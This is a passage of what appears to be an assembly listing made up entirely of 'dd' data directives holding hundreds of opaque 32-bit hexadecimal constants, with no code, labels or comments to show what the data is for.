		dd 0A59F00A0h, 5ECAA1Fh, 970036DCh, 0D75AE184h,	63D91DBFh
		dd 0D11671E8h, 5232FA99h, 8CC0C824h, 0FF005DCFh, 8BCB938Eh
		dd 77DACEA0h, 4E0100D0h, 8CDD602Dh, 0C70E216Eh,	202230A8h
		dd 847DCD72h, 14DCAED4h, 1013677Bh, 0CFC7024h, 36210B37h
		dd 814D9500h, 0D0E049C5h, 4EDC30CCh, 0B7996F11h, 0F93529C0h
		dd 9024EFDEh, 51F8090Ch, 0D819A6A8h, 219431A9h,	44942190h
		dd 0FBF80ADCh, 0A1D70F34h, 0E4B42040h, 7302121Fh, 4221DC79h
		dd 78E0A067h, 162C82Dh,	0D12BCD38h, 0C45954A8h,	2071C488h
		dd 0CF1CF650h, 659B080Bh, 4F4C07D0h, 6F18296h, 54C2E116h
		dd 870099B3h, 38B815B7h, 70DF18h, 2C433533h, 7C9F909Dh
		dd 0D56A5803h, 1A9865h,	0E49A2DA9h, 0B5B13830h,	60026F6h
		dd 61A086D4h, 5D0105Ah,	2A170279h, 72BC077Fh, 0FC2E3ABh
		dd 4449E7A2h, 156C34C8h, 6457F816h, 0B365430h, 4F00F1E7h
		dd 0A9C6BF7Ah, 0B810399h, 4005CA41h, 0B1033474h, 0F8245367h
		dd 0BF3C29Ch, 60703E98h, 38C1B4B2h, 0B6084088h,	37F46A34h
		dd 227C32FDh, 870B022Dh, 75B6DB61h, 0D5B859C3h,	1103CFAAh
		dd 0CCDEA9A6h, 6029FA98h, 653D624h, 2DD7EBDh, 33004132h
		dd 849A0D90h, 8BA75Bh, 8ADF88B8h, 93B4CD37h, 0D95CBA13h
		dd 7A768001h, 66C26B71h, 0B0224A14h, 67288BFAh,	6E305882h
		dd 0F0B62179h, 3CBE022Eh, 88A64E5Eh, 0BB6F1040h, 9FBDC9C3h
		dd 0DEE6E8DAh, 3D990049h, 8EE4C17Fh, 4212F5EDh,	7D00DD09h
		dd 0D74F41E9h, 5320E062h, 0CF31CC04h, 0C016899h, 66BD8829h
		dd 0C03BD980h, 0CE2B8B31h, 5B02FC68h, 0F7D15EECh, 0E278FF8Ch
		dd 0CB7E5C80h, 31CE4E0Fh, 2024D3E6h, 0AD8DC4C0h, 3ADD0010h
		dd 66B44AF8h, 0F0175135h, 0F0077805h, 487B79h, 0B69D88ADh
		dd 7000ED4Dh, 655B76CBh, 4A160CC1h, 4E740864h, 0A72D78Bh
		dd 44009036h, 39D3322Ah, 0CB101BBh, 233D8AAFh, 4CA0B88Ch
		dd 0C3A518C0h, 6880691h, 13126EDh, 370DA908h, 0D8201ED8h
		dd 98201C04h, 549FADCh,	0D720F5FEh, 3058524Eh, 0A0EDF0Ch
		dd 9CD9C101h, 0FEEC0DB3h, 4F6EE08Ch, 0C00A9B1h,	172791Fh
		dd 3E79A37h, 8E4696DFh,	0DCA1769Eh, 6E718039h, 0E310DEDBh
		dd 9A5C00ABh, 0F88033B4h, 0E7309DB3h, 4FD758F3h, 0BC31C074h
		dd 0B33D8621h, 712AA900h, 441F92DCh, 90940B67h,	1C80078Bh
		dd 0DEFA9A02h, 7DB9A800h, 0D93FCEC8h, 0AC6281A7h, 0D181C11h
		dd 0C034D029h, 5AD17861h, 350080A3h, 1BCF6814h,	43CF1ECh
		dd 0D9A725FFh, 5F248143h, 9BE4248Ch, 3DE5B205h,	72C051DDh
		dd 5075AA35h, 4073E03Ch, 183CB0BCh, 85613EB4h, 14379C87h
		dd 455E08Ch, 89A77C58h,	5F20B44Ch, 0AE6180F1h, 55DF353Fh
		dd 510500B4h, 523E6578h, 7B00C989h, 3C202C59h, 0B192F307h
		dd 5A5107BCh, 0D157A1ABh, 0B4E1EA80h, 0FB118FAAh, 795F454Dh
		dd 0B22EA840h, 0B555D3h, 2C5782A4h, 0A6FD6E4Dh,	906CCD48h
		dd 0A77840C0h, 197A8F30h, 3C4D96E7h, 7CACD48Dh,	781930DCh
		dd 0BF095302h, 244519Eh, 0FE028h, 88BE738Ah, 5CBCA758h
		dd 23CA80DCh, 24B88C81h, 6010F711h, 3B8A19A7h, 0F901B272h
		dd 3728E383h, 98417A47h, 0B100C15Ah, 3A009960h,	0FEABCB97h
		dd 21A19Fh, 0F26B887Fh,	95BF33CFh, 54F97200h, 0D9DAD71Ah
		dd 0DD7A0C20h, 0CA084F28h, 0D19C7E14h, 0B9F00F48h, 8CE80ACh
		dd 0B1DB018Bh, 0B73D0A3Ch, 0B81D4784h, 0ECBF263Eh, 8E5A58h
		dd 9A3B8125h, 0C26AE1D6h, 579F3A00h, 0F0BB370Fh, 0E68400CFh
		dd 0CE261C1Eh, 0E7070333h, 2F7DC8EDh, 0A8886F64h, 0A0BB98BCh
		dd 0E24E5929h, 0EF400002h, 7B37E62Dh, 74504AF7h, 4181640h
		dd 0BDC9C2F2h, 0E32B13CBh, 65580E07h, 40D13ED0h, 346C00D6h
		dd 1256A211h, 0E70025CDh, 0EE3B8E01h, 0ED4E02Ah, 51041A50h
		dd 99DC51F8h, 7D002499h, 2DC7C266h, 8A6B3D0Dh, 89353107h
		dd 62703h, 239601AAh, 80D52A02h, 601C0B13h, 0B69364h, 1238A0C0h
		dd 0D18A1A58h, 0A12D3503h, 7AA65FF7h, 0F2A00C9h, 50DF0721h
		dd 7B031D7Fh, 53EFF8B0h, 0C156F039h, 0DE061CEBh, 416ADF6Bh
		dd 16CAF0BCh, 8063D9h, 0F477309Eh, 0DB087Dh, 0BA38093Dh
		dd 2F7A2368h, 0C90413FEh, 0D80B9624h, 0F2C484C0h, 6D2501DBh
		dd 0BFA3080Ah, 0FD51F49Bh, 0FC006879h, 0A9F2DE6Ch, 0C47C5Dh
		dd 0A84069E5h, 0B5836766h, 0F73B0901h, 0EAC88922h, 0C6D0F5DCh
		dd 0D9A45F89h, 8CE79F00h, 4EBA51F2h, 6866002Ah,	4BAF6DE6h
		dd 0C475030Ch, 0A45E2F05h, 0D452D989h, 0EEDD088h, 382FE792h
		dd 0FAA47881h, 0E4AB7001h, 4E589404h, 50913F74h, 6DFCC716h
		dd 666F24E8h, 0D46280CCh, 390D3072h, 0B52A4300h, 5170075Ch
		dd 35E400DAh, 11D4B226h, 0AD7A601Ch, 0E8127E00h, 4A9BA8CBh
		dd 6CFC1Bh
		dd 4B2295F2h, 5D910FEAh, 3C35C000h, 623DFEAAh, 0CE3B0060h
		dd 8A18A3F9h, 0BB7EAED3h, 767893Bh, 231FE229h, 0F86EDC60h
		dd 315C0969h, 0EC494CF9h, 0BDC63F3h, 90ECDAFCh,	37DBFA4h
		dd 1A5FD175h, 9DC06553h, 0B4981F60h, 70A1D72Ch,	0DE00B711h
		dd 56D28F53h, 0C72C5F88h, 0AD02FC68h, 6ACEE144h, 0C0146318h
		dd 17FBB094h, 17658859h, 75F407B0h, 88A9844Fh, 7A8819E8h
		dd 0E5DD0732h, 10616016h, 9B487713h, 0DEC3CD00h, 0DC018398h
		dd 0E47A0989h, 28008DFBh, 2A30A6CBh, 40D6C0A9h,	0DC2908D2h
		dd 0F2C9850h, 68000EFAh, 342E46Ch, 33C0E2h, 98717438h
		dd 8225435Fh, 0A64D187Eh, 0F45D0008h, 0F291FE95h, 4A77D8h
		dd 31B1BA50h, 885510D0h, 0C57EFB00h, 46D9C6BBh,	88D54E6h
		dd 0CF82035Eh, 32B9F740h, 0C0934F82h, 0DC24C2DAh, 0C6ED90C2h
		dd 7DDB0014h, 45AFF010h, 6B3BD081h, 8DA38B6Dh, 1C404119h
		dd 0D65CA710h, 251E3D00h, 0F8C13E37h, 0A3DF0389h, 4A08E68Bh
		dd 1C72BE8Ah, 7469AD58h, 664F10C2h, 0B0187827h,	0CB201EECh
		dd 0D88E542Ch, 8DE27902h, 7860928Bh, 43840A4Bh,	0D7C901CCh
		dd 6F08F2A8h, 38F00060h, 0BA122AECh, 4144074Dh,	0E46350E9h
		dd 0B2980DCDh, 4C01B10Bh, 9F448785h, 0F4C86DC5h, 0A0C10387h
		dd 3AFC27D7h, 9600B6FBh, 7C0E445h, 3E1735F9h, 0E280693Dh
		dd 617CB7EAh, 1E5836A7h, 5860880Ch, 0E500E8DDh,	4461DFB9h
		dd 2267DCh, 4D7A7B87h, 0A01ADE1Fh, 50807093h, 0AAA69B67h
		dd 76890506h, 0A4980731h, 0C70093F8h, 73E7DFCCh, 0ADA5420h
		dd 0B09A3F3h, 0FB9020CCh, 20C821FAh, 0FB35D0BFh, 54AA325h
		dd 0E4B6DD80h, 0CC1D613h, 0EEC9751Ch, 45FB1900h, 0E7934FC0h
		dd 14CF0758h, 0D2CB89AEh, 84D9BC1Ch, 4F6FFE04h,	0E126405Dh
		dd 0D7DD068Fh, 0DEF8E800h, 96B8995Ah, 558916E5h, 22480729h
		dd 4FB397A7h, 0F9265D66h, 3ACC0818h, 0A8B25FB9h, 0E3E6A4h
		dd 0C5A0237Ah, 6AC2BD83h, 4C9CA877h, 0ECBE1482h, 466C4C31h
		dd 0D0D70CE4h, 1F01133h, 6DA3D92Eh, 0C8F1AFBBh,	947871C5h
		dd 0F28B720Eh, 0E2D1E035h, 0D5B357h, 1ECC8E83h,	0A681F926h
		dd 4EE75F0Fh, 842DCE66h, 24A4D94Ch, 67BA036Ch, 0F104D855h
		dd 658FFD80h, 0F9045A77h, 162171CBh, 2DBCCCCh, 8C9957F8h
		dd 0B8C32B03h, 906440E4h, 3C0788B9h, 5DB44C5h, 0E7172294h
		dd 0C70120D0h, 6338E739h, 80AF970h, 803FA809h, 3C8A2F40h
		dd 0C2D5EA4Ah, 640D1958h, 98252C71h, 3891EA4Ch,	13803C44h
		dd 95A8FD07h, 5B0F832Eh, 40E28825h, 0B5D73930h,	1EB7EC8h
		dd 0D83FCBA8h, 324332B1h, 0E9D701ECh, 40A7BA14h, 0BC9EFAC0h
		dd 0BE4F8630h, 0C49CC1A5h, 74182A40h, 8AD3007Fh, 0D7103594h
		dd 0F52C4232h, 80488D6h, 3145F9E6h, 5330B45Dh, 8882B629h
		dd 36A18D80h, 7028023Ah, 0AE4530CAh, 27315E11h,	44391B69h
		dd 9CE638B4h, 0F6D92180h, 74DF646Bh, 0B92A5000h, 3CC0997Ah
		dd 0DCE2005Eh, 8C94C952h, 0B558E6D0h, 874C0F9Ch, 989F4083h
		dd 120D2ED8h, 42BA4EF5h, 77AAAD64h, 0D10004EEh,	0FBDCB35Ch
		dd 0DA67A5h, 0DF80970Fh, 16CF1929h, 0AFAA3700h,	0E8C9629Ch
		dd 35C20086h, 6A07D521h, 11C2705h, 0C6DD91A9h, 0CDF6AA80h
		dd 2BA811Eh, 0B0D5CFFDh, 80C2D8AEh, 2CA0E052h, 0FA007461h
		dd 0A41C0FACh, 3917BB51h, 73028624h, 545EA215h,	0C007A0D2h
		dd 0C3017F89h, 90351B0h, 605FEABBh, 2E6521B0h, 0AA987192h
		dd 0BA7CA13Dh, 0F9C58704h, 86415307h, 76C06A2Ah, 98D8B06Dh
		dd 63462A62h, 48FB4888h, 38D820C2h, 4241207Ah, 6880087Ch
		dd 5CCBEF9Bh, 5859BD02h, 0F8B649FCh, 0BFE7040Ch, 3294CCE0h
		dd 5DD00480h, 0CE780062h, 0C7E3D624h, 0ECB419EDh, 0E422308Bh
		dd 0D0FF00D4h, 0AAD28CD6h, 0A5007869h, 0ECC06B1Ah, 4CC8777Eh
		dd 0C8D2ACF2h, 0BA001F88h, 6CAA722Eh, 9E7D2732h, 0D9D70634h
		dd 10081D1h, 0FBDF663h,	32F05Ch, 8444C8C7h, 0D7CCACF7h
		dd 2E473904h, 80A45D04h, 0A6295866h, 0F2FB9C04h, 55DC011h
		dd 0EE495DEh, 0B490E4EAh, 2512C204h, 70F3C07Fh,	0A0A0D925h
		dd 6FE1D25Ah, 0CBEAC100h, 0F36ACEF4h, 0DBE2848h, 0C0349CC8h
		dd 5527EB69h, 38B50C07h, 0BB4062EEh, 5C9C1847h,	0B850D79Ah
		dd 0E70888A3h, 0A9BEDCBEh, 4C078842h, 895B47ADh, 646480h
		dd 2943DBF7h, 8A18110Ah, 0EDE17600h, 19BFBEA2h,	4ED5F72Dh
		dd 7F0CE4DAh, 2C7120CAh, 0DE03CCB2h, 2BA76FBDh,	4FE90C23h
		dd 1631C043h, 135C2A02h, 54A72BA6h, 734263C4h, 40E7310Eh
		dd 5544C7D6h, 1067B9D0h, 0E92A0031h, 0E70FC35Ch, 24BC763Eh
		dd 0BB8CE5C0h, 0B0360104h, 6AFD22Eh, 0C04C6251h, 4BE3C00Dh
		dd 2870905Dh, 0B680D6D3h, 0F9C640C8h, 9B0FA3C4h, 40748C72h
		dd 6081E344h, 0BF280B1Ah, 468677D1h, 0A725318Fh, 221C2037h
		dd 2B25FF6Ch, 20F4C1D7h, 0B433F1C9h, 77824F04h,	80ECC4D6h
		dd 0FA31201Bh, 0F310B150h, 2A03EF7Ah, 0A7887289h, 3679B007h
		dd 62370005h, 719FA349h, 0F539D175h, 0E86B078Ch, 71AC425Dh
		dd 0B0560038h, 1FE24C95h, 3126302Ah, 0BA47C0F6h, 0D6A80249h
		dd 5C8C651h, 6F3D8AADh,	0A734A0D7h, 51D233F0h, 4D43C404h
		dd 60B9805Fh, 1FB2D768h, 6209E974h, 0C4DD18Ch, 84EF38B8h
		dd 55FA0601h, 102168B6h, 0D48FA120h, 33194460h,	0ECECF17Bh
		dd 0FD02957Fh, 66230A07h, 44E472E6h, 66F99F9h, 0BE7A8081h
		dd 18F3B97h, 0FD088E67h, 0FC92D4DFh, 0AB679943h, 1BC76129h
		dd 0C9B83C03h, 8CC469A2h, 0D23B0455h, 0A96E7806h, 22871C90h
		dd 0C146A500h, 2859BF72h, 0ED8CDBE7h, 50445C71h, 717CCCh
		dd 78E0F5BAh, 0FD97428h, 7E49E660h, 0F022216Eh,	74D850A7h
		dd 0E0A8B606h, 751D084Fh, 40671E01h, 0E135D231h, 0AC9070A5h
		dd 0C800D7D5h, 0E167B6Bh, 39C673h, 404CA242h, 861AC49Fh
		dd 99709D16h, 0D721B081h, 4AA62820h, 1AC8A30h, 0A968C591h
		dd 0D6EC4FD4h, 0FCC0003Eh, 64E0AE92h, 20186D1Dh, 0D1487AB4h
		dd 575C05A8h, 0C00789E4h, 73BD53C4h, 42605260h,	0B6218CF6h
		dd 0C5E031A8h, 0D0BE0165h, 5200E839h, 25E06D45h, 0E907E23Bh
		dd 74ABF8D1h, 7E447E0h,	4E5D380Eh, 0AA13BCD9h, 0A0285291h
		dd 448866C8h, 9F9B1367h, 1D54C195h, 0E42420ADh,	73076310h
		dd 81055D18h, 3D45F908h, 7A894888h, 0ED74BD40h,	0F0C958D0h
		dd 0E850A7A1h, 5801D70Dh, 0B4C43118h, 99C88B11h, 0AAA8C4D8h
		dd 19AD4440h, 0E0983052h, 0F100A118h, 0BDB5F8B4h, 0C79388h
		dd 62106C66h, 84F6430Fh, 22983F53h, 566E4A64h, 242601DCh
		dd 0F2DF418Eh, 0AE6BE640h, 8338ABF8h, 62ACC801h, 2BD9AAE0h
		dd 65511818h, 4E30DC00h, 0D47560A7h, 0DD490707h, 9474CE24h
		dd 9F310063h, 0EC3BE1FBh, 78D0BECh, 28E02798h, 747362A1h
		dd 84E0B448h, 0B100CE51h, 885483BEh, 0E5356500h, 0B67805FCh
		dd 0E474254Fh, 8A900838h, 91487B07h, 9C70Dh, 0CD7F671Ch
		dd 150770B9h, 0E07C2DA4h, 28F8CE04h, 80020871h,	0E27BCCBAh
		dd 14B089A2h, 14EBD100h, 0C9A8D7C6h, 0B1DF0CA3h, 0C1780558h
		dd 89822h, 0BB03F0B7h, 0B95EB2Ch, 225EF703h, 2258EC54h
		dd 0FF7AA228h, 0FDE7800h, 72D8822Dh, 0D0BF5081h, 0C0CE3E0h
		dd 532E34BAh, 0C24E4CD0h, 0E3591083h, 5AC010CAh, 8EC9880Eh
		dd 315902D7h, 0EA60609Bh, 0D9269D0Eh, 915CE3BBh, 9666C859h
		dd 84B3587Eh, 3B8CBE28h
		dd 20B8E258h, 0B2B7E68Bh, 0E019480Bh, 0F4A0CBF3h, 4A036F3Fh
		dd 4FC068E2h, 0FA8BB080h, 3D4B0B9Fh, 54C47253h,	6A360501h
		dd 0BC2A35A6h, 6441DD02h, 50707CBDh, 0A9C40164h, 0ECF2F531h
		dd 0C400AA21h, 2345CEFAh, 6000BCE5h, 211960C2h,	95F2CF13h
		dd 8D1B4A4h, 0BA6FEAE2h, 742C430h, 4757Fh, 0BDFF4EEEh
		dd 17719B3Ah, 59C18102h, 41532924h, 0B4D9C43Ch,	82698901h
		dd 0DBD2241h, 2AC72CAh,	0A903EAFCh, 65601AEEh, 89506C88h
		dd 2706B65Ch, 0B9422164h, 14D30041h, 6FE8E967h,	200037E7h
		dd 97F4A210h, 4F5CFC51h, 7198208Dh, 777B2211h, 0C8B0B02h
		dd 84B11651h, 2532A198h, 60C8C422h, 95139FF0h, 4403948Eh
		dd 0B3B97127h, 0A8403AD9h, 0FA3850DEh, 0B460F37Ah, 0FCF13B07h
		dd 108401DEh, 726FFEBAh, 0D920078h, 9D9E5AA9h, 0E4DA043Ah
		dd 0E48AA6FAh, 670F5E14h, 6029ED64h, 74632A2Dh,	449CA6C8h
		dd 0D89E4F6Dh, 20A8CA46h, 312E126Bh, 0F862000Ch, 84148E8Fh
		dd 98C78C4Fh, 0A49CD9A9h, 447B11C4h, 4486B988h,	0F4E313Bh
		dd 33E6E022h, 92D3858Fh, 808AC884h, 3B806818h, 41C0B0E4h
		dd 0FAD05BF8h, 0B9E4180h, 6990E172h, 0C0902CFFh, 0CCD6E529h
		dd 75FD0120h, 12D8B004h, 0D4DF41AAh, 207831BBh,	84ACBF50h
		dd 1D077F20h, 0C631FEC4h, 837C1C0h, 0D54174Ch, 0E973768Ah
		dd 292719CEh, 0D10EC020h, 0C36E28C2h, 727993E0h, 5A288C95h
		dd 990F11Ch, 0B08D7340h, 22AB7B2h, 0E2F59122h, 5C468817h
		dd 746F0F26h, 9882F20Bh, 0DACB5Ch, 0D4132256h, 5383CE4Eh
		dd 8B148CB8h, 1070BA7Ch, 163FB422h, 0B8CAF295h,	0E860AF3Eh
		dd 7B93FCCFh, 6067D300h, 6E03ECD6h, 0FEA2Dh, 0B253A928h
		dd 0D99DD11Ch, 0CB5CAF19h, 0A04CB860h, 0F0B44DF0h, 396D0C0h
		dd 8A00A03Ch, 0F3D4F2B3h, 70A401F5h, 2218981Fh,	3544C769h
		dd 0F060EF1h, 808134EBh, 338A16B5h, 6EDE0454h, 88B822A6h
		dd 4B3F48A0h, 2000F0FAh, 5A8DB388h, 4D56D33h, 324C2890h
		dd 4828F243h, 44867524h, 0BE08D615h, 80055E0Dh,	0ECC9BD50h
		dd 0AD008AE7h, 41030274h, 57A6745h, 0D5E46D01h,	0F3980E6Bh
		dd 80AB8D05h, 0EAD1B42Ah, 0E72609E2h, 4D649C34h, 1C24D749h
		dd 2B5B321Dh, 6C44A809h, 0FB970C00h, 756FA491h,	0F4951D2Ch
		dd 2868A540h, 0D900EE45h, 0D5F78823h, 24860DAh,	6E02AAEFh
		dd 8E02A21h, 2284B0A1h,	0DC0F77ADh, 63E22B93h, 814C6E71h
		dd 0A1800F98h, 0D5C17DFDh, 601DFCC4h, 93C227B0h, 60246268h
		dd 80749EB4h, 0A6F3F308h, 57604051h, 3D4105Eh, 6B9E9777h
		dd 3D8835DEh, 0C402D286h, 6D21E0B6h, 40306632h,	0D8380753h
		dd 0F4DE0041h, 0EF12A7A9h, 0D55A82h, 83182B80h,	0E873F2D4h
		dd 0C74F9CBEh, 0F9F02FEAh, 7BC8494h, 6FFA744h, 90F6D005h
		dd 0D4B1E491h, 50453C13h, 5C89FE08h, 0BAC86451h, 7DF96208h
		dd 3C8A8010h, 0A99A59h,	0A790EC8Fh, 0ED95DE62h,	56878300h
		dd 0FF044BD9h, 3FE61025h, 0FB3114ECh, 0B1BF0970h, 0CC48905Dh
		dd 238D00B2h, 6B40CFF6h, 0E614574Ch, 80C099BEh,	3ADE1D0Dh
		dd 8CB9001Ah, 14DDCA2Fh, 67007C44h, 798A2C6Fh, 0D5E618h
		dd 0CDC358AAh, 0A77D96Eh, 0DD624A1Fh, 0C604A42Eh, 0C0A0EAEEh
		dd 0F40CF5A4h, 2C492B4Eh, 800717Ah, 0F0847B30h,	10E220C9h
		dd 172B0074h, 5BA7A23Fh, 0F0B864E0h, 4B94D249h,	4D328081h
		dd 602449ACh, 0CD5D0D29h, 2F22FC42h, 1000C84Ch,	584C24A9h
		dd 70F1A101h, 21D70B99h, 0C1BC7008h, 2838D858h,	2443D4C8h
		dd 16B9B930h, 638A646Fh, 49598802h, 0F0371632h,	0CE388880h
		dd 0C97A3A00h, 4C8A2E5h, 6298FCBBh, 0FBF98807h,	1DA84429h
		dd 3C89ADh, 7348E69Ah, 0C9001C54h, 0EF70376Ah, 2ED5D632h
		dd 0C0A41720h, 12C96F0Eh, 1166E425h, 0D710CB58h, 1CFE9751h
		dd 0FB3A9504h, 0A88089F1h, 816373A2h, 182009ADh, 226E891Dh
		dd 4E3AF8h, 0FD7CB0D0h,	5C75B0Bh, 7D599649h, 4C70CA15h
		dd 2F6022C8h, 0CC93664Fh, 9F56A021h, 825E026h, 208C4ABh
		dd 5AA74689h, 4080421Bh, 0F7DB0D94h, 1857AE00h,	9FD88AD7h
		dd 0B2357025h, 0BEAB2528h, 408F4804h, 59833F7h,	2D5C0014h
		dd 8D92F152h, 3D1EDBD0h, 0B845AAAh, 0A8C003A7h,	319318h
		dd 89FA5170h, 0BB05654Dh, 0EE001F98h, 60BC8D52h, 4A2B598h
		dd 36024AC1h, 2098D86Ah, 0DEED8407h, 0F7F0557Ah, 0BA1BD8B1h
		dd 25282180h, 8C8EBC10h, 74205FD1h, 0B9CB75h, 16800A56h
		dd 9FD6AAA2h, 63EFAC00h, 0F30140EBh, 6B05197Bh,	0A529515Ch
		dd 0B4BC6181h, 2E090822h, 48F29963h, 0E93D7700h, 56CEB86Bh
		dd 0F3DE005Dh, 0C544406Fh, 94179DA6h, 4C0443FDh, 0E822BAFCh
		dd 0A444ACC4h, 0D0BD0032h, 0C43CFD08h, 0F20C43ACh, 91681D7Bh
		dd 0A8FCB436h, 939B0AACh, 1A2CF6Fh, 82B1FDA8h, 751820B4h
		dd 78BA1407h, 83F38B6Ah, 1DF9C001h, 2CAE453h, 627E6671h
		dd 0DE80049Ah, 0E7C05BFEh, 0D0DF4F13h, 309024E4h, 7B9C7A8Eh
		dd 80017301h, 0A55E3CF6h, 0B460644Ah, 22BCA624h, 0A198BC54h
		dd 24B82297h, 790C8771h, 88169248h, 6C5888D0h, 8F6B00D8h
		dd 0CBB8B271h, 3EE1DC5h, 0B1E0C2BBh, 0E4A08D58h, 0B0EDBE23h
		dd 8A30BD12h, 63720CC1h, 0D1675000h, 3C023601h,	0DC88019Ah
		dd 0EEC0206Eh, 0A60199C7h, 66BD441Eh, 7120E02Ah, 24931264h
		dd 675301C0h, 0E080B4D0h, 57D35CEh, 0F9F8B100h,	5A757E9Fh
		dd 2A380ABDh, 9070BB4Fh, 40BDC835h, 9CACF643h, 6888CC99h
		dd 0F5080B7Fh, 0C4B984E4h, 0A824A8A0h, 71526424h, 619700DCh
		dd 52CC2809h, 4DC41100h, 0E6FBECD8h, 91A81754h,	0FE70884Fh
		dd 31A5C905h, 94043008h, 0E8C47D6Eh, 5F80F8E8h,	2CB0D717h
		dd 43D6800h, 462397D3h,	4AFEE811h, 0CAD020F6h, 0F0590417h
		dd 0BBD8C4ACh, 0B41F21h, 0BEFE0416h, 69C14h, 144E357h
		dd 6A0B51F7h, 83B11D81h, 4F138AC4h, 0B62CD091h,	1804FDE2h
		dd 0FEE6D681h, 0FA3810B7h, 0A8822ABBh, 0B44B0FE2h, 0C19B4E1h
		dd 505C8A39h, 1D0860D2h, 291CB89Eh, 12E4BF4Fh, 2E0A316h
		dd 2DC78B06h, 45545907h, 29CE8609h, 84915F4Ah, 6ED5ED83h
		dd 1277BD4h, 0F29C5194h, 30F0B438h, 22422050h, 50497548h
		dd 88B0B210h, 93478308h, 83C80257h, 0ED7C7FEEh,	3A2D9203h
		dd 84297BFCh, 184004C4h, 783E19C9h, 34B30130h, 0C4C52B12h
		dd 14123A1Eh, 0EEAFEC88h, 401097DCh, 0DD0784D8h, 0A3DA29CCh
		dd 8F47E2A0h, 88AF2CB2h, 0FF1108ECh, 60A32644h,	0E54A10h
		dd 511A9A19h, 0F60982h,	0A96E342Dh, 6460B445h, 0BA922504h
		dd 60C1D5CFh, 0B8A410D9h, 0A2FE6098h, 2100DFE7h, 67382962h
		dd 72A14AABh, 0A83200F2h, 2E61EC6Ch, 8BB7B083h,	68843264h
		dd 84FB9AC4h, 0FA0EC042h, 0A883D0CCh, 0A085F8E4h, 899FAA58h
		dd 4C8CD8D0h, 4E88BCF2h, 7BA54C81h, 0A2EC3D91h,	5CE12FBh
		dd 0FA60C2C5h, 502DE920h, 248767Fh, 0A605B158h,	2CD97B24h
		dd 0E2A7303h, 0F53100F9h, 235B6417h, 4A30FE6Bh,	0E8BC1960h
		dd 5CB400D7h, 4DB5124Bh, 0AD00BE01h, 118987A6h,	49041A52h
		dd 58C4B8F2h, 291022BAh, 0ECC40889h, 5812ACA0h,	0FABFE8C0h
		dd 0C54A8Dh, 0A103292Ch, 8A72C902h, 1844D301h, 969876A6h
		dd 47A4D4E6h, 30F10726h, 0ADA99057h, 0BD92ED0Dh, 604C7062h
		dd 7C5E895Dh, 252380B8h, 2C5997Bh, 9BAEABC2h, 505BAAECh
		dd 3116FC91h, 0F17CE5F6h
		dd 0B8283BF9h, 0A3F023h, 99B08680h, 9EE85426h, 6604C313h
		dd 0B70DC40Fh, 9431AC34h, 0AC3C93FCh, 0D700A490h, 21418F53h
		dd 48388151h, 2170C889h, 92079761h, 0D5402F38h,	2A5C68BDh
		dd 2DB51004h, 0BAD0D84Eh, 0F256702h, 0A9F6FF07h, 0D7940238h
		dd 40BC7E4Eh, 8B935701h, 90BD1A7Eh, 0B2683148h,	0F699E67Bh
		dd 0AF239E0h, 0F7A2EA02h, 43C059C6h, 20B75F89h,	0C8F46B90h
		dd 0A4D200F5h, 0ABC4B854h, 65079152h, 0D4C70A0Eh, 0E0669E02h
		dd 84BB6C30h, 0C0880945h, 3C87E5E7h, 7500FAFh, 2EABDE88h
		dd 0BF02161h, 386CD713h, 366AE500h, 6C77ABBBh, 26691CB8h
		dd 3CDDC093h, 3343F025h, 4A736B21h, 0F80288D0h,	3F207944h
		dd 0D9252BADh, 34608286h, 0E0D912FBh, 0B42CAD93h, 0A193005Ch
		dd 77547498h, 0CA053B0Eh, 28E504C1h, 6AF5D804h,	0ECC3DE03h
		dd 0E05653ECh, 99797C82h, 0C81219FCh, 7A7244B8h, 987C6C8Ah
		dd 34192620h, 0D6910Ch,	0DD4ECAC8h, 2415B964h, 10ED3Dh
		dd 45BCC733h, 1F004C74h, 0A88E837Ah, 38877Ch, 2FA3A101h
		dd 5E510FB4h, 0FA4C9E0Fh, 87A9802Dh, 736EC99Fh,	52BCB028h
		dd 0BDC084E4h, 0CFC6757Ch, 13803AEDh, 24908ED6h, 17D840D0h
		dd 61242DCCh, 90283BC0h, 0E2DE00BEh, 43660C6Ch,	27000E94h
		dd 6DAA850h, 746E0A2h, 2BBF4125h, 4AB24E6h, 0F0E6FA31h
		dd 0DCE8604Ah, 0DCBE33A6h, 0AAA33C80h, 4F326A77h, 0DC9445F9h
		dd 0A764A188h, 5064A8C2h, 0E622DE01h, 7085EEDBh, 8CFFF0C8h
		dd 0E81FF2C4h, 0B3654E50h, 0C831AC7Ch, 0C3BF0265h, 6218C240h
		dd 16605B44h, 98409C15h, 40A180E9h, 0C3B9A128h,	4F3B0065h
		dd 0F7D7F0EDh, 950F35B5h, 13AD091Eh, 0A02268A2h, 0A58068B1h
		dd 2CB3CDC5h, 21CC9049h, 0B614BAE4h, 7A5B8174h,	9C417972h
		dd 4F117130h, 0E4DCD243h, 0A848AAE0h, 3CD6004Ah, 4B95F207h
		dd 1B00130Ah, 709B60B3h, 0F04477h, 3EED665h, 0AB68C348h
		dd 0A5A8DB1Ch, 39CB8D00h, 0B2825F81h, 2180432Ch, 7037041Eh
		dd 185E09E5h, 702533Ch,	0F0B2ABE2h, 32C75268h, 572E8B80h
		dd 234C9B01h, 0A96F1024h, 195C804Eh, 0C501B64Dh, 0D7E90745h
		dd 4C7384B5h, 0CF8EF70Ch, 45868C88h, 1863F0h, 0D01C2B59h
		dd 466D50h, 0C18C87F9h,	706E2ECBh, 901604E0h, 9CD09817h
		dd 3AE2F73Eh, 6305FBCEh, 81E98A23h, 466221Ch, 6534480h
		dd 0F4A85C37h, 8130BCE4h, 672462BEh, 0BCC6BE80h, 0AFA9123Ch
		dd 281F8F01h, 14746C3Bh, 9497842Ch, 9224BC7Ch, 0E08050F7h
		dd 0CE36CA99h, 0BB92A0C4h, 0D38CA1h, 47B01349h,	9F0E5AE7h
		dd 9CB29B00h, 0BD6F5E0h, 88EE15E5h, 0BCC96011h,	49600485h
		dd 5464F94Ch, 82408149h, 42731047h, 0E90F9B4h, 0DFC070E9h
		dd 286BDBBEh, 30320C00h, 0C02DB9FFh, 711317FBh,	0B10B260h
		dd 719CF508h, 0A11138h,	69BA35E9h, 1EAD56Fh, 78167057h
		dd 3A02DFA8h, 20AB4440h, 2D2DFF1Ch, 0A0847231h,	1128FDDAh
		dd 0DC0522ADh, 588BDC8h, 0D5603694h, 51C4A200h,	0D0327FA0h
		dd 93B0F310h, 61404CAh,	84E0F2FBh, 0C4E27E97h, 931FEA00h
		dd 34ED6674h, 884A5775h, 0E0D58483h, 3C5E4DE4h,	8997383Ch
